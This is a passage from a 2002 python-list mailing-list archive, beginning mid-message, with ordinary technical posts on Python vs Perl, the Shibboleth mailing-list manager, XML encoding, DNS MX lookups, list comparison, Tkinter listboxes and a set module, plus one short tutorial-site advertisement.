somewhere. So I ask >myself whether I really need it. Ok, I can understand that. I have to know qwerty because I use public access terminals. For everything else, I haven't had a problem because either my home directory is NFSed, or I untar my little wad of dotfiles and static binaries. No, I don't "really need it", since I could do everything under windows with notepad. I might not even be that much slower, since I spend most of my time making mistakes and then thinking about the mistakes I just made. I'd have a lot less fun, though. >> All of the good programmers I've seen working have idiosyncratic setups. > >And they spend ridiculous amounts of time fine-tuning their setup that could >not possibly be justified by the alleged efficiency gained. I used to do Well, I can't speak for anyone else, especially not "good programmers", but my wacky setup hasn't changed significantly since high school. Occaisionally I find some new way of doing things that bypasses some old annoyance I'd gotten used to, and I don't know if it actually makes me any "faster", but it makes life noticably more pleasant. >that too. It's fun, but it is not rational activity. Python is one of the >things that helped me stop it. It's just good enough as it is. I only need >a nice editor (vi will do if I'm on an alien machine) and Python which comes >installed by default more and more often. I guess my computing lifestyle is sedentary enough that I can afford to settle down and decorate the place to taste. The analogy doesn't hold because untarring a 600K blob is easier than unpacking 1,000 knick-knacks and I can't NFS mount my room. I think there's a continuum between taking advantage of configurability to make the system conform to your personal taste vs. leaving it all alone because "standard is better than better". The other dimension is that of genuinely useful modification vs. the occaisionally cathartic pleasure of poking at minutiae. Anyway, this subject is not adequately analogous to the utility function question so I'll leave it alone :) >> Of the hard-to-maintain code I've looked at, it's always been not enough >> abstraction, rather than too much. People who are used to C and Pascal > >It has nothing to do with abstraction. I'm talking about the part of the >learning curve called "making youself feel at home". If the environment is >not powerful enough and makes you jump through hoops for common tasks >it encourages gratuitous customization until you feel comfortable. Ok. I guess I just don't consider defining and then calling functions to be "jumping through hoops". Your usage of "power" seems to be kind of like the "capability baseline". C has such a low baseline that to do anything useful you usually need to build it up quite a bit. Higher level languages have a high enough baseline that you can get quite a bit done with built in data structures and operations. If I'm interpreting you correctly, then "jumping through hoops" is "building up the baseline". To me, that's "abstraction". Logging debugging information is a very common task, but python doesn't have it built in. I don't write 'if debug >= whatever: print blah' all the time and blame python for forcing me to jump through hoops, I write util.dprint(). I don't have to complain about its not being built in or wait for 2.3 or 2.2.2 or whatever, since I can have exactly what I want right now. Working with timed events and lazily evaluated data structures are other common tasks (for me) that python doesn't have built in. I don't care that it's "not powerful enough" to express them directly (generators help some) because it is powerful enough to write some utility classes which express them as directly as I want (though possibly not as directly as a real concurrent language). I could be annoyed about having to type awkward nested combinations of multiple-value-bind, and destructuring-bind and let in some heavily pattern-matching oriented lisp, but I'd be better off writing a macro specifically designed to express the kind of matching and binding I'm interested in. I don't think of it as gratuitous, and I do think my comfort is important. My definition of "power" is not so much "how much is built in" but closer to "how much can I express in a natural way (as if it were built in)". anyway, that's enough handwaving on that subject :) From aleax at aleax.it Thu May 9 07:56:11 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 11:56:11 GMT Subject: Python vs. Perl, which is better to learn? References: <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> Message-ID: Patrick W wrote: ... > I *was* thinking that there are many situations in which Python is too > slow and C is needlessly tedious. If that were true, a mid-level > language in which you don't have to roll your own simple data > structures or worry about memory management and still get good > performance would be a good thing. But in practice, have I ever > *needed* such a thing? No. In my experience I've often found myself in such a situation -- and Numeric proved to be exactly the "mid-level language" I needed in most of those cases. You may not think of Numeric as "a language", but it covers a wide-enough "niche" after all. SQL (and _there_ the 'L' does stand for 'language'!-) may be seen in a similar light, although 'mid-level' sounds strange when applied to it:-). If such needs arise for flexible array manipulation, and for bulk data manipulation in a relational model, they may no doubt arise in other sub-fields, too. Often special-purpose extensions that one may or may not think of as "a language" may meet the need best, as in the case of Numeric; at other times, the ability to connect with an 'actual lagnauge' with very different strengths and weaknesses (much as one does with SQL) may provide useful synergies. > It would be nice if Python could become a first-class producer or > consumer of .NET components, regardless of which language they're > written in. Yes, when .NET becomes widespread enough, it _would_ be nice to be ready for it, one way or another. Which way is still anything but clear to me, though. Alex From cmcurtin at interhack.net Sat May 25 22:18:12 2002 From: cmcurtin at interhack.net (Matt Curtin) Date: Sat, 25 May 2002 22:18:12 -0400 Subject: Meta: Shibboleth (was: RE: Off Topic, But List Related) In-Reply-To: <007101c20458$335f1e20$388e7aa5@adirondacker> References: <007101c20458$335f1e20$388e7aa5@adirondacker> Message-ID: <15600.17892.700132.228562@rowlf.interhack.net> On 25 May 2002, Peter F. Ferris presumably wrote: Hi, I'm the architect of Shibboleth, the privacy- and security-aware mailing list manager Peter mentioned. I'd like to clear up a few things, just to make sure there are no misconceptions. > perhaps you should read the white paper. [...] > The only addresses that would be gleaned would be those typed in the > message body by the user. Shibboleth addresses this problem by standardizing all addresses. If we have a set of lists dedicated to discussion of python, we might designate that list "family" as "python". All subscribers to any of the python lists would then have a standardized address form of python+nym at example.com Assuming that the local MTA uses + as the separator character between account and token for delivery. (I believe that qmail installations will use - by default, and the character is settable in most Unix MTAs.) Thus, if my nym is cmcurtin and I'm a subscriber, my posts would wind up in the archives (and posted through the lists) as python+cmcurtin at example.com. No one would ever know my address(es) unless I include them in signature blocks and whatnot. This means that all mail in connection with a list, or even person-to-person stuff that started on a list is run through Shibboleth. Mailing lists follow the same form, e.g., "Python Technical Discussion" might be python+tech at example.com, "Python Advocacy" might be python+perlsucks at example.com, and "Python Questions" might be python+help at example.com. Shibboleth performs a series of tests to detect whether a message has come from an "insider" (someone legitimately subscribed to one of the lists). If not, Shibboleth will return a "user unknown" bounce to the sender, e.g., an outsider (e.g., spammer) mailing python+cmcurtin at example.com would get a user unknown bounce, where an insider mailing python+cmcurtin at example.com would have the message delivered to me through the python list-supporting Shibboleth installation. (These tests also include provisions for handling of PGP signatures, reusable passwords in X-Password headers, E?SMTP/MTA path analysis for address forgery detection and some other useful stuff for enforcing the only-insiders-can-talk-to-insiders policy option.) We actually built the system so that groups that wanted privacy and security on a public network would be able to get it. Spam became a problem after the project was underway. Spam, email-worms, etc., are all handled remarkably well in practice on existing Shibboleth installations. That is, I know of no cases where any spam has been posted to a Shibboleth mailing list, or where any worm has propagated through a Shibboleth-run list or to a user whose address was published through participation in a Shibboleth list. (I know Peter from one such list family, and our lack of spam, malware, and other outsider-originated annoyances is likely what prompted his mention of Shibboleth. But I can't speak for him obviously. :-) Peter refers to a white paper, which isn't quite correct. The URI he gave is for a formal technical paper that is part of the Proceedings of the 9th USENIX Security Symposium. You can pick up the paper as it was presented at the conference from the USENIX site, of course. Shibboleth is implemented in that other language ;-) but I would be delighted to see its functionality become options in a more general-purpose and widely-used mailing list manager like Mailman. I'm presently too buried to perform the porting work myself, but if someone would like to do some fun coding, I would be happy to advise and to provide feedback on getting some of the more useful features of Shibboleth incorporated into another system. Happy hacking! -- Matt Curtin Interhack Corp +1 614 545 HACK http://web.interhack.com/ Author, Developing Trust: Online Privacy and Security (Apress, 2001) Knight, Lambda Calculus | Certum quod factum. --Giovanni Battista Vico From alex at securepipe.com Sun May 26 03:09:38 2002 From: alex at securepipe.com (Alex Russell) Date: Sun, 26 May 2002 02:09:38 -0500 Subject: email module in 2.2 References: Message-ID: I feel like such an idiot... after attempting to figure out for HOURS why subtypes weren't being parsed correctly, my eye caught the following line in my POP3 access code: msg_text = string.join(self.pop.retr(msg_number)[1], "\r\n") which of course should be: msg_text = string.join(self.pop.retr(msg_number)[1], "\n") Aparently this fixes all my problems (and now I'm MUCH happier with the email module =) I sincerely apologize for wasting everyone's time. I'm so sorry. -- Alex Russell alex at securepipe.com alex at netWindows.org From joonas at olen.to Fri May 3 15:58:05 2002 From: joonas at olen.to (Joonas Paalasmaa) Date: 3 May 2002 12:58:05 -0700 Subject: FromXMLString wanted. References: Message-ID: <11aed8f9.0205031158.27776f36@posting.google.com> Doru-Catalin Togea wrote in message news:... > Hi! > > I am doing some pretty basic XML parsing using pyxml. My xml data > (not the tags) contains non-english characters. pyxml for ActiveState > Python 2.0 did not complain about that even when I did not provid an > opening line in the xml file stateing the encoding used, like: > > > > Strange, but true, and I could live with that. > > I have now upgraded to ActiveState Python 2.2, pyxml 0.7, and it complains > for the existence of non english characters, EVEN WHEN SPECIFYING THE > ENCODING, as above! Strange again, and unfortunatlly I can not live with > that. :-) > > I thought of a hack around it, which would consist of reading in my > xml file into a string, replacing non-english characters with their > UNICODE encodings and parsing the (xml) string. How do I do that? > > I used to get a DOM by means of: > > ------------- > #from xml.dom.ext.reader.Sax import FromXmlStream > from xml.dom.ext.reader.Sax import FromXmlFile > from xml.dom.ext import PrettyPrint > > doc = FromXmlFile(xmlFN) > ------------- > > Now I need the following, or the equivalent from another package: > > from xml.dom.ext.reader.Sax import FromXmlString > > Or maybe there is another better way of achieving the same goal? Why don't you just convert the string to unicode bofore feeding it to parser. That way you don't have to even declare the encoding in the file. Correct encoding have to be set in sitecustomize.py in order to make the example below work. See the Python FAQ at http://www.python.org/cgi-bin/faqw.py?req=show&file=faq04.102.htp >>> from xml.dom import minidom >>> non_ascii = """???""" >>> print minidom.parseString(non_ascii.encode("UTF-8")).toxml() ??? >>> print minidom.parseString(non_ascii) Traceback (most recent call last): File "", line 1, in ? print minidom.parseString(non_ascii) File "C:\PYTHON\lib\xml\dom\minidom.py", line 977, in parseString return _doparse(pulldom.parseString, args, kwargs) File "C:\PYTHON\lib\xml\dom\minidom.py", line 964, in _doparse toktype, rootNode = events.getEvent() File "C:\PYTHON\lib\xml\dom\pulldom.py", line 253, in getEvent self.parser.close() File "C:\PYTHON\lib\xml\sax\expatreader.py", line 117, in close self.feed("", isFinal = 1) File "C:\PYTHON\lib\xml\sax\expatreader.py", line 111, in feed self._err_handler.fatalError(exc) File "C:\PYTHON\lib\xml\sax\handler.py", line 38, in fatalError raise exception SAXParseException: :1:0: unclosed token From db3l at fitlinxx.com Wed May 8 17:13:35 2002 From: db3l at fitlinxx.com (David Bolen) Date: 08 May 2002 17:13:35 -0400 Subject: extraneous import statements needed References: <3CD89940.22826002@engcorp.com> Message-ID: Jeff Shannon writes: > Another possible source of this error, considering the > implementation of string.split(), is that you're actually passing > in a None as the argument. The code for string.split() is > basically this: > > ### in module string.py ### > def split(s): > return s.split() Good point - assuming that the OP is using Python 2.0 or greater (well, probably 1.6 or greater). It's not true for Python 1.5.2, but I don't think the interpreter version was initially mentioned. It should be easy enough to distinguish the two by the traceback, since if this was the problem, the traceback should point to the library module and not to the user's own code. -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From anthony at interlink.com.au Mon May 13 23:47:50 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Tue, 14 May 2002 13:47:50 +1000 Subject: Finding mail exchangers In-Reply-To: Message from "Steve Holden" of "Mon, 13 May 2002 22:57:29 -0400." Message-ID: <200205140347.g4E3loQ06999@localhost.localdomain> >>> "Steve Holden" wrote > You need to submit a query to a DNS server and decode the reply. Look at the code in pydns.sf.net - there's a function in the lazy module called "mxlookup". For instance, >>> import DNS >>> DNS.DiscoverNameServers() # win or unix, initialise resolver. >>> DNS.mxlookup('interlink.com.au') [(0, 'mx1.interlink.com.au'), (50, 'mx2.interlink.com.au')] > I have code that does this if you'd like a copy (it uses the dnslib code, > which I can also provide). How does your dnslib differ from Guido's original code? Anthony -- Anthony Baxter It's never too late to have a happy childhood. From BPettersen at NAREX.com Fri May 10 12:57:54 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Fri, 10 May 2002 10:57:54 -0600 Subject: get/set Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E4D@admin56.narex.com> > From: William Dode [mailto:wilk at flibuste.net] > > hi, > > coming from java, i use to do a lot of get set method and > make all the variable as private. > > class Toto: > def getA(self): return self._a > def setA(self,v): self._a=v > ... > > Shall i do like that in python ? No, there is no point (in general). If you later decide you need additional code run when you access a variable, you should look into properties (new in 2.2). -- bjorn From brueckd at tbye.com Mon May 6 10:30:14 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Mon, 6 May 2002 07:30:14 -0700 (PDT) Subject: streaming audio In-Reply-To: <1020652901.21030.1.camel@orion.zoism.org> Message-ID: On 6 May 2002, Rob Brown-Bayliss wrote: > I am looking for some information on the basics of audio streaming, or > any sort of data streaming really. > > I want to create an app to stream audio around a LAN and really have > know Idea on where to start. If possible, avoid actual streaming protocols as they are quite convoluted and proprietary. As long as the client end of the connection supports it and you have a fast enough connection (and you do since you're using a LAN), a simple progressive download is the way to go. In any case, Edna is a Python MP3 server (http://edna.sourceforge.net) whose source code is very easy to follow; that might be a great place to start. -Dave From yiyang at wharton.upenn.edu Mon May 13 11:31:11 2002 From: yiyang at wharton.upenn.edu (Catherine Yang) Date: Mon, 13 May 2002 11:31:11 -0400 Subject: How to call another file Message-ID: How to use Python to call another file, e.g. a SAS file *.sas ? Thanks Catherine From tim.one at comcast.net Sat May 11 14:22:31 2002 From: tim.one at comcast.net (Tim Peters) Date: Sat, 11 May 2002 14:22:31 -0400 Subject: __builtins__ confusion... In-Reply-To: <304d20df.0205110931.4ccd39@posting.google.com> Message-ID: [Allan Crooks] > ... > This seems such a strange thing to me, can anyone explain why the > value of __builtins__ differs? Yes, but I'm not going to . The name of the module holding the builtins is __builtin__ (no 's'!). __builtins__ is an internal implementation detail, and user code should never muck with it. From the Ref Man: When a global name is not found in the global namespace, it is searched in the built-in namespace (which is actually the global namespace of the module __builtin__). The built-in namespace associated with the execution of a code block is actually found by looking up the name __builtins__ in its global namespace; this should be a dictionary or a module (in the latter case its dictionary is used). Normally, the __builtins__ namespace is the dictionary of the built-in module __builtin__ (note: no `s'); if it isn't, restricted execution mode is in effect. The real reason __builtins__ is bound to the __builtin__ module instead of to __builtin__'s dict in interactive mode is so that the curious don't get flooded with output when doing >>> vars() at the prompt. From Mike at profesr.com Mon May 20 22:09:35 2002 From: Mike at profesr.com (Mike at profesr.com) Date: Tue, 21 May 2002 02:09:35 GMT Subject: ->-> Tips for programming newbies, and others ... Message-ID: Tips, Techniques and Tools! Especially for IT beginners. I've developped a series of FREE TUTORIALS in VISUAL BASIC ** SQL ** DATABASE MODELING ** e-COMMERCE ** WEB DESIGN and lots more ... Available in English and French - after all, we are Canadian, eh! Always something new being added. Let's exchange links. All compatible sites are welcome. Check-it out: www.profsr.com - Tutorials for Success! From bkesuma at REMOVECAPITALS.yahoo.com Sat May 18 14:29:04 2002 From: bkesuma at REMOVECAPITALS.yahoo.com (Batara Kesuma) Date: Sun, 19 May 2002 03:29:04 +0900 Subject: regular expression References: Message-ID: <20020519032904.033b668e.bkesuma@REMOVECAPITALS.yahoo.com> Hi Sean, On Sat, 18 May 2002 10:46:19 -0700 (PDT) "Sean 'Shaleh' Perry" wrote: > you are very close to what you need. > > rule = re.compile(r'^\d{6}$') # ^ means start of string, then \d{6} is 6 > numbers > # then $ is end of string. Thank you very much. But what does the 'r' in (r'^\d{6}$') means? --bk From rogspr at newdeal.ch Wed May 29 02:48:50 2002 From: rogspr at newdeal.ch (eRreuR) Date: Wed, 29 May 2002 08:48:50 +0200 Subject: seek analyzer of complecity for Python Message-ID: <3cf479d7@news.swissonline.ch> Hi, I seek an analyzer of complecity (statistics), if somebody know one of them... thank you... example: for i in range(n): for j in range(m): print i, j complecity O(nm) thanks for the help From aleax at aleax.it Thu May 2 05:28:58 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 09:28:58 GMT Subject: NEWBIE QUESTIION: Comparing Lists in Python References: <5Z0A8.185$Q85.6597@ozemail.com.au> <%y1A8.14587$ap4.9144@nwrddc03.gnilink.net> Message-ID: logistix wrote: > The most general way would be to just copy the list instead of using a > dict and remove the elements: > >>>> diff = list1[:] >>>> for item in diff: > ... if item in list2: > ... diff.remove(item) > ... >>>> diff > [1, 2, 3] If the length of both lists are proportional to some number N, this algorithm will take a time of O(N*N*N) -- *cubic*. One factor of N comes from the for statement, one from operator 'in' when applied to a list on the RHS, and one from the remove operation. > List comprehensions would be my favorite (although many will disagree): > >>>> list1 = [1,2,3,4,5] >>>> list2 = [4,5,6,7,8] >>>> returnList1 = [val for val in list1 if val not in list2] >>>> returnList2 = [val for val in list2 if val not in list1] This is O(N*N), since you don't have the N factor from the remove. The way to get O(N) behavior is to construct auxiliary dictionaries: dict1 = dict(zip(list1,list1)) returnList2 = [x for x in list2 if x not in dict1] "x not in C" takes O(N) time if container C is a sequence with N elements, but (roughly) O(1) time if C is a dictionary. Building a dictionary of N items is roughly O(N). Premature optimization is the root of all evil (Knuth) -- but that basically means MICRO-optimization, trying to shave 20% or 80% off some algorithm for some fixed big-O behavior. Getting the right big-O behavior is generally not a wasted effort, unless you can guarantee that all containers around will be quite small. Python generally makes getting sane big-O behavior quite easy, thanks to the superb performance of dictionaries above all (and, in other contexts, the great performance of list's sort method, and a few other typical hotspots). You do have to know the big tricks and pitfalls, such as "x in sequence", somelist.remove, building strings out of pieces with + or += -- these are the big three typical timesinks of hastily written Python code. Alex From kwokng at earthlink.net Fri May 10 13:38:33 2002 From: kwokng at earthlink.net (Billy Ng) Date: Fri, 10 May 2002 17:38:33 GMT Subject: Error Log References: Message-ID: Good stuff! but the debian linux do not have this module to downloand. Billy Ng "Mark McEahern" wrote in message news:mailman.1021042877.24965.python-list at python.org... > [Billy Ng] > > I need to write a error log module that append the error line into a log > > file every time an exception is thrown. Would anybody please > > give me input for how to do it in pytohn, thanks! > > There's a PEP for adding this to Python's standard library: > > http://www.python.org/peps/pep-0282.html > > Also, see this: > > http://www.red-dove.com/python_logging.html > > Cheers, > > // mark > > > From bbeck13 at excite.com Tue May 7 12:00:14 2002 From: bbeck13 at excite.com (Brandon Beck) Date: 7 May 2002 09:00:14 -0700 Subject: need unique filename References: <3CD73AE6.82C91293@uni-bielefeld.de> Message-ID: <3ac67cce.0205070800.5c0adc4f@posting.google.com> Try having a look at os.tmpfile() and os.tmpnam(). Both are unfortunately only available under unix according to my documentation. If you need something that works on multiple platforms try looking at the tempfile module. It contains a method mktemp() that should do what you want. Marcus Schopen wrote in message news:<3CD73AE6.82C91293 at uni-bielefeld.de>... > Hi, > > is there a possibility to create unique filenames to avoid problems if > two files are created at the same time. > > Thanks > Marcus From pinard at iro.umontreal.ca Thu May 30 10:10:52 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 30 May 2002 10:10:52 -0400 Subject: Why no open(f, "w").write()? In-Reply-To: References: Message-ID: [Delaney, Timothy] > Why don't we have > while a = file.readline(): > pass > while we're at it? After all, it's the same principle - you're trading > off safety for saving a line or two. The Python language is oriented towards legibility and clarity, and I would guess that the above has been rejected as lacking legibility, much more than for safety considerations. Doing `lines = open(file).readlines()' looks perfectly safe to me, so I'm not trading any safety. The goal of using such writing is not "saving a line or two", but writing more legibly, by eliminating unnecessary noise. Saving lines is not very important. Saving spurious lines is, however. All those things are quite debatable, there is some aesthetic considerations associated with legibility; moreover, aesthetics do not alway yield to legibility. I think Python is nice because it has _one_ artist in charge, able to impose a common view. If it was "democratic", it would loose much. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From tdelaney at avaya.com Wed May 8 23:25:30 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 9 May 2002 13:25:30 +1000 Subject: comparing lists Message-ID: > From: Lulu of the Lotus-Eaters [mailto:mertz at gnosis.cx] [code snipped] import string from time import clock from random import randrange dSize = 3 delim = ''.join(map(chr, [randrange(0,256) for _ in range(dSize)])) def l1str(): """""" str = 'abcde' r = [(randrange(0, len(str)), randrange(0, len(str))) for x in range(randrange(0, len(str)))] for i, j in r: i, j = min(i, j), max(i, j) str = str[:i] + str[j:j+1] + str[i:j] + str[j+1:] return str def l2str (str): """""" r = [randrange(0, len(str)) for x in range(randrange(0, len(str)))] for i in r: str = str[:i] + str[i:i+1].upper() + str[i+1:] return str def DelaneyCompare(l1, l2): l1 = map(string.lower, l1) l2 = map(string.lower, l2) l1.sort() l2.sort() return l1 == l2 def LuluCompare(l1, l2): l1.sort() l2.sort() s1 = delim.join(l1).lower() s2 = delim.join(l2).lower() return s1 == s2 if __name__=='__main__': SIZE = 10 l1 = [l1str() for x in range(SIZE)] l2 = [l2str(s1) for s1 in l1] print l1 print l2 print start = clock() print 'Delaney Result:', DelaneyCompare(l1, l2) print 'Time:', clock()-start start = clock() print 'Lulu Result: ', LuluCompare(l1, l2) print 'Time:', clock()-start SIZE = 10000 l1 = [l1str() for x in range(SIZE)] l2 = [l2str(s1) for s1 in l1] print start = clock() print 'Delaney Result:', DelaneyCompare(l1, l2) print 'Time:', clock()-start start = clock() print 'Lulu Result: ', LuluCompare(l1, l2) print 'Time:', clock()-start ---------- Run ---------- ['aebcd', 'dcabe', 'adebc', 'acebd', 'abcde', 'abcde', 'abcde', 'abcde', 'abcde', 'baecd'] ['AebCD', 'dCAbe', 'aDeBC', 'aCebd', 'abcde', 'Abcde', 'abcDe', 'aBCDE', 'Abcde', 'bAeCd'] Delaney Result: 1 Time: 0.000317816168981 Lulu Result: 0 Time: 0.000125518683322 Delaney Result: 1 Time: 0.169594990082 Lulu Result: 0 Time: 0.0750326542647 > I like my version about 10x better :-). I like my version infinitely better :) In your case, it didn't matter what order the data sorted in - it would always end up giving the same result since each entry was not only already lowercase, but all the entries were the same sequence of characters. In my case, I mixed up the order of characters (with each position in the two lists having the same order of characters) then mixed up the casing. Tim Delaney From cliechti at gmx.net Sat May 25 20:41:45 2002 From: cliechti at gmx.net (Chris Liechti) Date: 26 May 2002 02:41:45 +0200 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: "John Roth" wrote in news:uf06o3f6tu8ud3 at news.supernews.com: > "Martin v. Loewis" wrote in message > news:m3it5cp8hj.fsf at mira.informatik.hu-berlin.de... >> Antaeus Feldspar writes: >> >> > Could the python interpreter be equipped with a mode that would > allow >> > it to emulate past interpreters? >> >> No, that won't be possible. It is easy enough to install multiple >> versions of the interpreter, though. >> >> Regards, >> Martin > > Oh, come on now. Anything is possible, the question is > whether it is worth doing and (this being a volunteer effort) > whether anyone wants to do it. what ever you define as "possible" - if the result is something so complicated that nobody realy knows whats going on, would you say that it is a favorable target? > Frankly, I think it's an excellent idea, although it would > have a cost. > > To delimit the debate: either a specific statement at the > front of the module "Requires 2.1" or the code in the > compiled module indicates the language level needed. no it would require a statement "must not have newer features than 2.1" it's the new features in the future that cause the problems. (for me "requires" means "at least", "that or a newer one") e.g. if you just say that some script requires 2.1 you can still use "yield" as a name but it will fail in 2.3 becuase that name becomes a keyword. so you effectively need to specify that the scripts needs 2.1 but not newer, not older. and this is best done using "#!/usr/bin/env python2.1" no new invention needed, its already there... chris -- Chris From aleax at aleax.it Sat May 11 08:17:16 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 12:17:16 GMT Subject: Make a executable References: Message-ID: Ludovic Fotin wrote: ... > I would know if it's possible to make an executable to use it on a > computer without Python installed > I don't find compilators > On whatever OS (Win32 or Linux). http://starship.python.net/crew/theller/py2exe/ Alex From fredrik at pythonware.com Wed May 1 10:38:21 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 01 May 2002 14:38:21 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: Mark McEahern wrote: > Here's a case where Python's ability to name groups is interesting: > > import re, time > t = time.asctime() > pat = re.compile("(?P\d{2})\:(?P\d{2})\:(?P\d{2})") > m = pat.search(t) > if m: > print m.group('hour') > print m.group('minute') > print m.group('second') > else: > print "Not found." (you don't need to escape colons) also note that if you pass multiple group numbers (or names) to the group method, it returns the given matches as a tuple: m = re.search("(\d{2}):(\d{2}):(\d{2})", t) if m: hour, minute, second = m.group(1, 2, 3) (down from five lines in the original perl example ;-) From dkt at registriesltd.com.au Tue May 21 21:22:53 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Wed, 22 May 2002 11:22:53 +1000 Subject: Is python really slow? In-Reply-To: ; from chrisl_ak@hotmail.com on Wed, May 22, 2002 at 12:54:02AM -0000 References: Message-ID: <20020522112253.C4474@regdp-02.intint.registriesltd.com.au> On Wednesday 2002-05-22 at 00:54:02 -0000, Chris wrote: > I spend a fair amount of time on perl newsgroups, having the need to use > perl for various parts of my job. I am now learning Python. I am a bit > disheartened at how common it seems to code only some of a program in > Python and use C for other parts, and how much discussion here involves > using C for X and Y. I don't have time to learn another language. I don't > see nearly as much discussion about doing this in the Perl newgroups. > Should I just be learning C instead? Is this just because of the different > applications python is being put to use for or because Python programmers > are more "multi-lingual" or is Python really so slow that one needs to go > to C on a more regular basis? > > This is NOT flamebait... it just has me concerned that by deciding on > Python (after becoming semi-proficient in PHP and Perl) I might be making a > mistake. Well, of course Python is going to be about an order of magnitude or more slower than C just because of its interpreted nature. But, then, it takes an order of magnitude more time to develop an application in C, generally speaking. For most applications, this speed difference doesn't matter too much, and it's more important to get the application done quickly. The same reasoning goes for Perl, though I find Perl to be generally faster than Python for what I do with it [completely unscientific, take it with a grain of salt], which is mostly text processing tasks, but plenty of other things, as well, like TCP/IP network daemons. There will often be places in a program that require speed, or that must be written in a lower-level language for some other reason. I don't see this as a problem, though. Why should one write the whole application in C just to optimise 2% of it? The bottom line is, not everyone can expect to do everything in Python or Perl, and so C is the natural choice to supplement the capabilities of the higher-level languages. By the way, C is a "small" language and not hard to learn. It might be hard to learn to program *well* in it, but that's another story. :-) David Trudgett From mfranklin1 at gatwick.westerngeco.slb.com Wed May 15 12:01:36 2002 From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin) Date: Wed, 15 May 2002 16:01:36 +0000 Subject: Keyboard-aware Tkinter listbox? In-Reply-To: References: Message-ID: <200205151501.g4FF1lX25158@helios.gatwick.geco-prakla.slb.com> On Wednesday 15 May 2002 2:07 pm, Stephen Ferg wrote: > I've been using the Tkinter LISTBOX, but it seems to have some > limitations. Other LISTBOX implementations that I'm familiar with > automatically sort the list of entries and support keyboard selection. > By keyboard selection, I mean that if you had a list like this: > So... I thought that before I try to build this myself, I'd like to > ask if anyone knows if this has already been done? > Steve, Tkinter does not have this functionallity but it would not be too hard to roll your own, basically bind to a function that searches through you list box contents (a sorted list object will do) when it finds on that matches call the selection_set and see methods on the Listbox add a pinch of salt and your done! somthing like.....(barely tested!) import string import Tkinter class AutoListbox(Tkinter.Frame): def __init__(self, parent, list_data=[]): Tkinter.Frame.__init__(self, parent) self.listbox=Tkinter.Listbox(self) self.listbox.pack() self.list_data=list_data self.list_data.sort() self.setlist() parent.bind('', self.bound) def setlist(self): self.listbox.delete(0, 'end') for thing in self.list_data: self.listbox.insert('end', thing) def bound(self, event): key=event.keysym if len(key)<=1: if key in string.letters: ## print key # now find it in list..... ## before we clear get the selected try: start_n=int(self.listbox.curselection()[0]) except IndexError: start_n=-1 ## clear the selection. self.listbox.selection_clear(0, 'end') ## start from previous selection +1 for n in range(start_n+1, len(self.list_data)): item=self.list_data[n] if item[0].lower()==key.lower(): self.listbox.selection_set(first=n) return else: # has not found it so loop from top for n in range(len(self.list_data)): item=self.list_data[n] if item[0].lower()==key.lower(): self.listbox.selection_set(first=n) ## should call see method but don't have ## scrollbars in this demo! return if __name__=='__main__': root=Tkinter.Tk() alb=AutoListbox(root, list_data=['abc', 'bcd', 'bcde', 'cdefg']) alb.pack() root.mainloop() HTH Martin From rnd at onego.ru Tue May 21 23:47:04 2002 From: rnd at onego.ru (Roman Suzi) Date: Wed, 22 May 2002 07:47:04 +0400 (MSD) Subject: ANN: set-0.2 module available In-Reply-To: <73D815E2-6D28-11D6-8C24-0030656F6958@bent-arrow.com> Message-ID: On Tue, 21 May 2002, Aric Coady wrote: >On Tuesday, May 21, 2002, at 03:15 AM, Denis S. Otkidach wrote: >> Here is another problem: >>>>> from set import set >>>>> s=set((1,3,5)) >>>>> hash(s) >> 1272199707 >>>>> s&=set((2,4,6)) >> Traceback (most recent call last): >> File "", line 1, in ? >> TypeError: set has become immutable >> >> If the set became immutable it should not be modified in-place, >> but &= operator should create new object according to ?= >> documentation. Unfortunately, it makes this error prone "2 in 1" >> solution even more hard to debug. > >I agree that's unfortunate, but I like the alternative even less. I think the above behaviour is not acceptable for fundamental type, because it changes state implicitely. Those who want sets to be keys must explicitly tell so by converting (copying) set to tuple (for example). >To me, the fact that it will raise an error if you inadvertently use a >set as if it's both mutable and hashable is precisely the reason why >it's an acceptable compromise to let it act as either mutable or >hashable. IMHO, it is not acceptable. One of the characteristics of user-friendly system is not to change state implicitely. It could nightmare if for example "print" behaved differently in for-loops. This approach invites subtle errors and gives nothing worth in return. >If I had to give up those immutable errors, I'd rather just choose one >(mutable) to be the default and force those who want it to be hashable >to choose that explicitly. Yes. And better - outside set type. Set is a container type and as such it's first goal is to bring set behaviour to Python. Other goals (to be used as key, etc) are secondary and solvable by means other than implicite loss of mutability. IMHO. Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Wednesday, May 22, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "I'd give my right arm to be ambidextrous." \_ From pyth at devel.trillke.net Fri May 3 12:36:58 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 3 May 2002 18:36:58 +0200 Subject: Python vs. Perl, which is better to learn? In-Reply-To: References: <91acf731.0205030642.580a9c59@posting.google.com> Message-ID: <20020503163658.GB4604@devel.trillke> Alex Martelli wrote: > (... lots of interesting stuff ...) > One day I'd really love to co-author a *balanced* comparison > of Python's and Ruby's pluses and minuses -- "co-author" 'cause > I'd need to find a partner in crime who admires Python but > still prefers Ruby, just as I admire Ruby but still prefer > Python -- and one "into" Ruby's triviae and minutiae as well > as overall philosophy as much as I'm "into" Python's. 